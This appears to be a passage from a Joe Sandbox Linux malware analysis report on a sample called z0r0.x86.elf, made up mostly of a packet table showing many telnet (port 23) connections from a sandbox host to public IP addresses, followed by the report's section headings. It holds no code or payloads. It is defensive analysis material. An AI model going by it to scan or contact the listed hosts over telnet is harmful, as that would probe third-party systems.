Jan 5, 2025 14:26:54.443454981 CET	23	57214	73.51.24.44	192.168.2.13
Jan 5, 2025 14:26:54.443456888 CET	57214	23	192.168.2.13	23.172.133.179
Jan 5, 2025 14:26:54.443464041 CET	23	57214	67.120.182.49	192.168.2.13
Jan 5, 2025 14:26:54.443471909 CET	57214	23	192.168.2.13	166.105.75.245
Jan 5, 2025 14:26:54.443473101 CET	23	57214	20.241.94.156	192.168.2.13
Jan 5, 2025 14:26:54.443473101 CET	57214	23	192.168.2.13	146.136.15.213
Jan 5, 2025 14:26:54.443478107 CET	23	57214	103.77.152.64	192.168.2.13
Jan 5, 2025 14:26:54.443485975 CET	57214	23	192.168.2.13	73.51.24.44
Jan 5, 2025 14:26:54.443489075 CET	57214	23	192.168.2.13	67.120.182.49
Jan 5, 2025 14:26:54.443492889 CET	23	57214	34.113.221.76	192.168.2.13
Jan 5, 2025 14:26:54.443506002 CET	57214	23	192.168.2.13	103.77.152.64
Jan 5, 2025 14:26:54.443514109 CET	23	57214	31.149.193.215	192.168.2.13
Jan 5, 2025 14:26:54.443514109 CET	57214	23	192.168.2.13	20.241.94.156
Jan 5, 2025 14:26:54.443521023 CET	57214	23	192.168.2.13	34.113.221.76
Jan 5, 2025 14:26:54.443527937 CET	23	57214	160.247.62.57	192.168.2.13
Jan 5, 2025 14:26:54.443536997 CET	23	57214	47.147.97.20	192.168.2.13
Jan 5, 2025 14:26:54.443545103 CET	23	57214	103.255.119.237	192.168.2.13
Jan 5, 2025 14:26:54.443552971 CET	57214	23	192.168.2.13	31.149.193.215
Jan 5, 2025 14:26:54.443553925 CET	23	57214	143.98.2.216	192.168.2.13
Jan 5, 2025 14:26:54.443562984 CET	57214	23	192.168.2.13	160.247.62.57
Jan 5, 2025 14:26:54.443562984 CET	57214	23	192.168.2.13	47.147.97.20
Jan 5, 2025 14:26:54.443563938 CET	23	57214	120.161.233.254	192.168.2.13
Jan 5, 2025 14:26:54.443572044 CET	23	57214	34.58.82.188	192.168.2.13
Jan 5, 2025 14:26:54.443579912 CET	57214	23	192.168.2.13	103.255.119.237
Jan 5, 2025 14:26:54.443581104 CET	23	57214	67.31.108.92	192.168.2.13
Jan 5, 2025 14:26:54.443582058 CET	57214	23	192.168.2.13	143.98.2.216
Jan 5, 2025 14:26:54.443584919 CET	23	57214	24.199.77.104	192.168.2.13
Jan 5, 2025 14:26:54.443593979 CET	23	57214	41.194.41.53	192.168.2.13
Jan 5, 2025 14:26:54.443598032 CET	57214	23	192.168.2.13	120.161.233.254
Jan 5, 2025 14:26:54.443602085 CET	23	57214	197.218.162.133	192.168.2.13
Jan 5, 2025 14:26:54.443603039 CET	57214	23	192.168.2.13	34.58.82.188
Jan 5, 2025 14:26:54.443610907 CET	57214	23	192.168.2.13	24.199.77.104
Jan 5, 2025 14:26:54.443610907 CET	23	57214	194.244.150.1	192.168.2.13
Jan 5, 2025 14:26:54.443617105 CET	57214	23	192.168.2.13	67.31.108.92
Jan 5, 2025 14:26:54.443620920 CET	23	57214	197.175.113.66	192.168.2.13
Jan 5, 2025 14:26:54.443620920 CET	57214	23	192.168.2.13	41.194.41.53
Jan 5, 2025 14:26:54.443624020 CET	57214	23	192.168.2.13	197.218.162.133
Jan 5, 2025 14:26:54.443634987 CET	57214	23	192.168.2.13	194.244.150.1
Jan 5, 2025 14:26:54.443638086 CET	23	57214	84.56.144.139	192.168.2.13
Jan 5, 2025 14:26:54.443646908 CET	23	57214	141.91.95.118	192.168.2.13
Jan 5, 2025 14:26:54.443661928 CET	23	57214	92.154.38.160	192.168.2.13
Jan 5, 2025 14:26:54.443665981 CET	57214	23	192.168.2.13	84.56.144.139
Jan 5, 2025 14:26:54.443665981 CET	57214	23	192.168.2.13	197.175.113.66
Jan 5, 2025 14:26:54.443670988 CET	23	57214	165.123.11.33	192.168.2.13
Jan 5, 2025 14:26:54.443675995 CET	57214	23	192.168.2.13	141.91.95.118
Jan 5, 2025 14:26:54.443679094 CET	23	57214	110.60.219.54	192.168.2.13
Jan 5, 2025 14:26:54.443689108 CET	23	57214	130.151.234.42	192.168.2.13
Jan 5, 2025 14:26:54.443697929 CET	23	57214	105.17.124.215	192.168.2.13
Jan 5, 2025 14:26:54.443701982 CET	23	57214	116.205.197.55	192.168.2.13
Jan 5, 2025 14:26:54.443703890 CET	57214	23	192.168.2.13	165.123.11.33
Jan 5, 2025 14:26:54.443703890 CET	57214	23	192.168.2.13	92.154.38.160
Jan 5, 2025 14:26:54.443711042 CET	23	57214	120.190.97.175	192.168.2.13
Jan 5, 2025 14:26:54.443712950 CET	57214	23	192.168.2.13	110.60.219.54
Jan 5, 2025 14:26:54.443718910 CET	23	57214	211.35.1.190	192.168.2.13
Jan 5, 2025 14:26:54.443726063 CET	57214	23	192.168.2.13	105.17.124.215
Jan 5, 2025 14:26:54.443727970 CET	23	57214	39.125.74.121

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report z0r0.x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
z0r0.x86.elf